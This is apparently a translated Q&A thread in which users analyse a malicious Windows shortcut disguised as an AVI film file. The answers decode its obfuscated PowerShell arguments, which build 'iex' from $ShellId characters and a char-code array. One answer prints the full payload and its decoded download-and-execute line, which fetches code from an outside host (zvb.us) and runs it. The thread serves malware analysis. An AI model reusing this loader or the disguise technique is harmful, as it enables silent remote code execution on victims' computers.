我下载了一个文件,几乎没有三思而后行,但是(快捷方式的)目标引起了我的注意:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoPr -WINd 1 -eXEc ByP . ( $shelliD[1]+$SHeLlID[13]+'x') ([StrIng]::jOin( '',[CHar[]](36 ,97,115, 112 , 120,32 ,61,[omitting rest of code]
毫无疑问,这里发生了一些可疑的事情。我了解前三个参数,但是我不太清楚是这样的有效负载代码如何在基本的快捷方式下工作?
答案 0 :(得分:5)
我的猜测是,它运行带有以下功能的Powershell
让我们分解一下代码:
( $shelliD[1]+$SHeLlID[13]+'x') ([StrIng]::jOin( '',[CHar[]](36 ,97,115, 112 , 120,32 ,61,[omitting rest of code]
$ShellId
是内置的Powershell变量:
>$ShellId
Microsoft.PowerShell
所以( $shelliD[1]+$SHeLlID[13]+'x')
转换为iex
(= Invoke-Expression
)
其余代码为([StrIng]::jOin( '',[CHar[]](36 ,97,115, 112 , 120,32 ,61,[omitting rest of code]
。我猜char数组包含ascii字符。如果是这样,我们可以将其转换为:
$aspx =
摘要:
powershell.exe -NoProfile -WindowStyle 1 -ExecutionPolicy ByPass . iex "$aspx = ...."
因此,它将在最小化的Powershell窗口中调用以$aspx =
开头的代码,而不会发出警告或提示。
也许代码通过了obfuscation methods其中之一。
希望有帮助。
答案 1 :(得分:1)
我也一样。该文件看起来像是AVI,我迅速打开它以检查电影的质量。实际上,这是一个伪装得很好的快捷方式:
PS C:\Users\pharg\Downloads\tv> $sh = New-Object -COM WScript.Shell
PS C:\Users\pharg\Downloads\tv> $target = $sh.CreateShortcut('C:\Users\pharg\Downloads\tv\A Simple Favor 2018.DVDRip720p
.XviD.AC3-EcHO.avi.lnk')
PS C:\Users\pharg\Downloads\tv> $target
FullName : C:\Users\pharg\Downloads\tv\A Simple Favor 2018.DVDRip720p.XviD.AC3-EcHO.avi.lnk
Arguments : -NoPr -WINd 1 -eXEc ByP . ( $shelliD[1]+$SHeLlID[13]+'x') ([StrIng]::jOin( '',[CHar[]](36 ,97,115,
112 , 120,32 ,61,32 ,40 ,40, 78, 101 , 119, 45,79 , 98, 106,101,99, 116 , 32 ,83, 121 , 115,116,
101 ,109,46 ,78 , 101, 116, 46,87 ,101,98 , 67 ,108,105,101,110 ,116,41, 41 , 46, 68,
111,119,110,108, 111 , 97 , 100, 83,116, 114 ,105 ,110,103,40, 39 , 104, 116 ,116,112 ,58,47, 47
,122, 118 , 98 ,46,117, 115 ,47,49 ,39 ,41, 59 ,73 , 69 , 88, 32 ,36, 97, 115 ,112 , 120 ) ) )
Description : .avi
Hotkey :
IconLocation : C:\WINDOWS\System32\imageres.dll,18
RelativePath :
TargetPath : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WindowStyle : 7
WorkingDirectory : %SYSTEMROOT%\System32\WindowsPowerShell\v1.0
这里的目标翻译为:
$aspx = ((New-Object System.Net.WebClient)).DownloadString('http://zvb.us/1');IEX $aspx
我打开了http://zvb.us/1
,看来我的PC上已经运行了一些代码。在这一点上,我不确定发生了什么。没有症状...